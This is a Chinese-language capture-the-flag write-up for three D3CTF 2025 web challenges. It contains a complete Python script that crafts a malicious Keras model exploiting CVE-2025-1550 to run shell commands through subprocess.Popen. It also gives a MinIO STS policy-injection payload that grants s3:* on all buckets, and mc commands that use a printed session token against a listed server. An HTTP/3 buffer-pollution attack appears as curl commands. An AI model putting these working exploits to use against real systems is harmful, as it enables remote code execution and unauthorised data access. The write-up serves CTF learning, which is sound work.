2025-D3ctf


web

d3model

cve2025-155-加载恶意keras 文件实现rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
    try:
        keras.models.load_model(modelname)
    except:
        return False
    return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    MAX_FILE_SIZE = 50 * 1024 * 1024  # 50MB
    file.seek(0, os.SEEK_END)
    file_size = file.tell()
    file.seek(0)
    
    if file_size > MAX_FILE_SIZE:
        return jsonify({'error': 'File size exceeds 50MB limit'}), 400
    
    filepath = os.path.join('./', 'test.keras')
    if os.path.exists(filepath):
        os.remove(filepath)
    file.save(filepath)
    
    if is_valid_model(filepath):
        return jsonify({'message': 'Model is valid'}), 200
    else:
        return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
1
2
 docker build -t d3model .	#这个命令会读取当前目录下的 Dockerfile,并根据其中的指令构建一个 Docker 镜像。
 docker run -d -p 5000:5000 --name d3model_container d3model	#运行这个项目,然后就可以本地测试了

Inside CVE-2025-1550: Remote Code Execution via Keras Models

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
import os
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name = "test.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
    config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
    "name": "mvlttt",
    "layers": [
        {
            "name": "mvlttt",
            "class_name": "function",
            "config": "Popen",
            "module": "subprocess",
            "inbound_nodes": [{"args": [["sh", "-c", "env > index.html"]], "kwargs": {"bufsize": -1}}]
        }],
    "input_layers": [["mvlttt", 0, 0]],
    "output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
    zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")
1
2
3
4
5
6
docker cp "D:\网安题文件\d3model (1)\test.py" d3model_container:/app/test.py	#复制要运行的代码到docker
docker exec -it d3model_container /bin/bash	#进入docker
python test.py#运行代码生成文件
exit
docker cp d3model_container:/app/test.keras "D:\网安题文件\d3model (1)\test.keras"#将生成文件复制到windows
docker exec d3model_container cat index.html	#查看本地测试成功
image-20250531164243280

然后题目上传就行

image-20250531164850069

d3invitation

MinIO STS 权限注入

1
2
3
4
5
6
7
题目提供了web服务和minio的api接口,这个web服务可以通过上传的图片和输入的id生成一个邀请函。
总结一下工作流程:
生成STS临时凭证
使用这个STS临时凭证上传图片
生成邀请函时,使用这个STS临时凭证读取图片

生成STS临时凭证时,我们注意到返回的session_token是一个jwt

image-20250604193517878

解码发现

image-20250604193905482

这个seesionPolice可以继续解码,发现我们刚上传的图片信息,说明police是由图片名object_name动态生成

image-20250604193922162

这里我们就可以进行MinIO STS 权限注入,即通过注入恶意字符串,来修改服务器生成的临时访问策略,使得获得的 STS 凭证拥有对 MinIO 中所有存储桶和对象

1
2
3
{"object_name": "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}

//	*"]},部分闭合了原本包含 object_name 的 JSON 结构,{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*"]}: 这是一个标准的 IAM 策略声明 JSON 对象,它授予 Allow 效果,允许所有 s3:* 操作,并且作用于所有资源 (arn:aws:s3:::*)。

可以学习一下此文https://blog.csdn.net/WF_crystal/article/details/137993896

然后就得到了拥有对 MinIO 中所有存储桶和对象 的 STS 凭证

image-20250604200433638

然后用mc命令行连接minio,这里我本地下载的mc(要go环境)

1
2
3
4
5
6
7
8
如果是本地运行mc
set MC_HOST_名字=http://<ACCESS_KEY>:<SECRET_KEY>:<SESSION_TOKEN>@<HOST>:<PORT>

set MC_HOST_d3ctf=http://PCAM9X6AIPGBHAF9A31C:6mdyDMTOvgeKPaG+x5i6ZSF1qg4DzTWNiJIiW1Zt:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJQQ0FNOVg2QUlQR0JIQUY5QTMxQyIsImV4cCI6MTc0OTA0MjA4MiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.c7kGZzAMyK6IbOK14VHrDGhJ1HFvK-DOmWoEg0pbJ1U9BwevJCvJgxvPThFerA0cI91AInRYDW9Wb4nzZGqO0A@35.241.98.126:31626

mc ls d3ctf 
mc ls d3ctf/flag
mc cat d3ctf/flag/flag

image-20250604200246072

如果是linux看此文D3CTF 2025 - WriteUp - Z3n1th Blog,不同环境的命令有点不同,可以问问ai。

tidy quic

http3性质

环境配不明白,止步于此,贴wp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package main

import (
	"bytes"
	"errors"
	"github.com/libp2p/go-buffer-pool"
	"github.com/quic-go/quic-go/http3"
	"io"
	"log"
	"net/http"
	"os"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
	go func() {
		err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	go func() {
		err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	select {}
}

type mux struct {
}

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method == http.MethodGet {
		_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
		return
	}
	if r.Method != http.MethodPost {
		w.WriteHeader(400)
		return
	}

	var buf []byte
	length := int(r.ContentLength)
	if length == -1 {
		var err error
		buf, err = io.ReadAll(textInterrupterWrap(r.Body))
		if err != nil {
			if errors.Is(err, ErrWAF) {
				w.WriteHeader(400)
				_, _ = w.Write([]byte("WAF"))
			} else {
				w.WriteHeader(500)
				_, _ = w.Write([]byte("error"))
			}
			return
		}
	} else {
		buf = p.Get(length)
		defer p.Put(buf)
		rd := textInterrupterWrap(r.Body)
		i := 0
		for {
			n, err := rd.Read(buf[i:])
			if err != nil {
				if errors.Is(err, io.EOF) {
					break
				} else if errors.Is(err, ErrWAF) {
					w.WriteHeader(400)
					_, _ = w.Write([]byte("WAF"))
					return
				} else {
					w.WriteHeader(500)
					_, _ = w.Write([]byte("error"))
					return
				}
			}
			i += n
		}
	}
	if !bytes.HasPrefix(buf, []byte("I want")) {
		_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
		return
	}
	item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
	if bytes.Equal(item, []byte("flag")) {
		_, _ = w.Write([]byte(os.Getenv("FLAG")))
	} else {
		_, _ = w.Write(item)
	}
}

type wrap struct {
	io.ReadCloser
	ban []byte
	idx int
}

func (w *wrap) Read(p []byte) (int, error) {
	n, err := w.ReadCloser.Read(p)
	if err != nil && !errors.Is(err, io.EOF) {
		return n, err
	}
	for i := 0; i < n; i++ {
		if p[i] == w.ban[w.idx] {
			w.idx++
			if w.idx == len(w.ban) {
				return n, ErrWAF
			}
		} else {
			w.idx = 0
		}
	}
	return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
	return &wrap{
		rc, []byte("flag"), 0,
	}
}
1
2
3
这里首先主要看在定义全局变量处定义了一个 var p pool.BufferPool 的一个缓冲池,然后测试能发现说在每次的 HTTP 通信时每次读取的 body 长度取决于 Content-Length 字段而非实际长度 (看官方 wp 说是因为 quic-go  Golang 实现的 http.Request 结构体实现的差异), 其实在 http3 中并非使用 Content-Length  header 来指定准确的内容长度

这里攻击思路主要是:因为代码上下文也没有对已写入数据的 buf 缓冲区进行重置清零的操作,然后我们可以实现缓存污染
1
2
3
4
curl -X POST https://35.241.98.126:32018 -d "a bcde flag" -v -k --http3 -H "Content-Length: 11"

curl -X POST https://35.241.98.126:32018 -d "I want" -v -k --http3 -H "Content-Length: 11"
#实测最多能写到"I want fla"

D3CTF 2025 - WriteUp - Z3n1th Blog

D3CTF 2025-WP | GSBP’s Blog

d3jtar

D3CTF 2025-WP | GSBP’s Blog

结束吧,太难了。

谢谢观看